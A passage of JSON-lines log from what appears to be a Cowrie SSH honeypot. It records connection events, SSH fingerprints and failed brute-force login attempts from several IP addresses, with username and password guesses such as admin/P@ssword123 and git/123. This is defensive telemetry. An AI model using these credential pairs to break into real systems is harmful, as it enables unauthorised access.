0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:27.469242Z","src_ip":"91.92.40.153","session":"1391f5e94264","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"manoj","password":"manoj123","message":"login attempt [manoj/manoj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:28.660795Z","src_ip":"91.92.40.153","session":"1391f5e94264","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:30.120363Z","src_ip":"91.92.40.153","session":"1391f5e94264","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":47600,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b3c4a2da328","protocol":"ssh","message":"New connection: 91.92.40.153:47600 (10.17.0.5:22) [session: 6b3c4a2da328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:32.755888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:33.105441Z","src_ip":"91.92.40.153","session":"6b3c4a2da328","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:33.109048Z","src_ip":"91.92.40.153","session":"6b3c4a2da328","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liyang","password":"123456","message":"login attempt [liyang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:35.917754Z","src_ip":"91.92.40.153","session":"6b3c4a2da328","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:37.481842Z","src_ip":"91.92.40.153","session":"6b3c4a2da328","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssword123","message":"login attempt [admin/P@ssword123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:38.771239Z","src_ip":"139.99.74.35","session":"941de12a084b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":47698,"dst_ip":"10.17.0.5","dst_port":22,"session":"be5f73558aa9","protocol":"ssh","message":"New connection: 91.92.40.153:47698 (10.17.0.5:22) [session: be5f73558aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:38.834895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:39.697920Z","src_ip":"91.92.40.153","session":"be5f73558aa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:39.700699Z","src_ip":"91.92.40.153","session":"be5f73558aa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"12345","message":"login attempt [debian/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:42.093134Z","src_ip":"91.92.40.153","session":"be5f73558aa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:43.511580Z","src_ip":"91.92.40.153","session":"be5f73558aa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.11.226","src_port":57784,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1ffc4ab0d77","protocol":"telnet","message":"New connection: 183.91.11.226:57784 (159.203.135.109:23) [session: f1ffc4ab0d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:46.024200Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":45260,"dst_ip":"10.17.0.5","dst_port":22,"session":"88291c8e05fc","protocol":"ssh","message":"New connection: 91.92.40.153:45260 (10.17.0.5:22) [session: 88291c8e05fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:46.187126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:46.193704Z","src_ip":"91.92.40.153","session":"88291c8e05fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:46.290015Z","src_ip":"91.92.40.153","session":"88291c8e05fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:46.716121Z","src_ip":"91.92.40.153","session":"88291c8e05fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":38714,"dst_ip":"159.203.135.109","dst_port":22,"session":"4aa88eb6e6d2","protocol":"ssh","message":"New connection: 160.187.174.22:38714 (159.203.135.109:22) [session: 4aa88eb6e6d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:46.812511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:46.819410Z","src_ip":"160.187.174.22","session":"4aa88eb6e6d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"37.7","message":"Connection lost after 37.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:46.977489Z","src_ip":"139.99.74.35","session":"941de12a084b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:47.058556Z","src_ip":"160.187.174.22","session":"4aa88eb6e6d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":53608,"dst_ip":"159.203.135.109","dst_port":22,"session":"89a4ca45e6cd","protocol":"ssh","message":"New connection: 139.99.74.35:53608 (159.203.135.109:22) [session: 89a4ca45e6cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:47.199287Z"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser123","message":"login attempt [esuser/esuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:47.773789Z","src_ip":"160.187.174.22","session":"4aa88eb6e6d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:47.931726Z","src_ip":"91.92.40.153","session":"88291c8e05fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:49.013385Z","src_ip":"160.187.174.22","session":"4aa88eb6e6d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":45332,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a8b8b12c4be","protocol":"ssh","message":"New connection: 91.92.40.153:45332 (10.17.0.5:22) [session: 1a8b8b12c4be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:51.831257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:51.860486Z","src_ip":"91.92.40.153","session":"1a8b8b12c4be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:51.991987Z","src_ip":"139.99.74.35","session":"89a4ca45e6cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:51.997608Z","src_ip":"91.92.40.153","session":"1a8b8b12c4be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":53652,"dst_ip":"159.203.135.109","dst_port":22,"session":"4464c22cc38c","protocol":"ssh","message":"New connection: 139.99.74.35:53652 (159.203.135.109:22) [session: 4464c22cc38c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:52.228841Z"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix","message":"login attempt [bitrix/bitrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:52.573928Z","src_ip":"91.92.40.153","session":"1a8b8b12c4be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:53.723632Z","src_ip":"91.92.40.153","session":"1a8b8b12c4be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:57.011564Z","src_ip":"139.99.74.35","session":"4464c22cc38c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":36020,"dst_ip":"159.203.135.109","dst_port":22,"session":"684cfcebfafc","protocol":"ssh","message":"New connection: 139.99.74.35:36020 (159.203.135.109:22) [session: 684cfcebfafc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:57.244975Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":57174,"dst_ip":"10.17.0.5","dst_port":22,"session":"09153be90e41","protocol":"ssh","message":"New connection: 91.92.40.153:57174 (10.17.0.5:22) [session: 09153be90e41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:57.958124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:58.118011Z","src_ip":"91.92.40.153","session":"09153be90e41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:58.132314Z","src_ip":"91.92.40.153","session":"09153be90e41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:59.051195Z","src_ip":"91.92.40.153","session":"09153be90e41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:00.672880Z","src_ip":"91.92.40.153","session":"09153be90e41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:02.019055Z","src_ip":"139.99.74.35","session":"684cfcebfafc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":52574,"dst_ip":"10.17.0.5","dst_port":22,"session":"af9d353fffa5","protocol":"ssh","message":"New connection: 91.92.40.153:52574 (10.17.0.5:22) [session: af9d353fffa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:03.473545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:03.788535Z","src_ip":"91.92.40.153","session":"af9d353fffa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:03.792908Z","src_ip":"91.92.40.153","session":"af9d353fffa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:05.993282Z","src_ip":"91.92.40.153","session":"af9d353fffa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:07.462824Z","src_ip":"91.92.40.153","session":"af9d353fffa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":52610,"dst_ip":"10.17.0.5","dst_port":22,"session":"4870d71efabf","protocol":"ssh","message":"New connection: 91.92.40.153:52610 (10.17.0.5:22) [session: 4870d71efabf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:09.432347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:09.833938Z","src_ip":"91.92.40.153","session":"4870d71efabf","protocol":"ssh"}
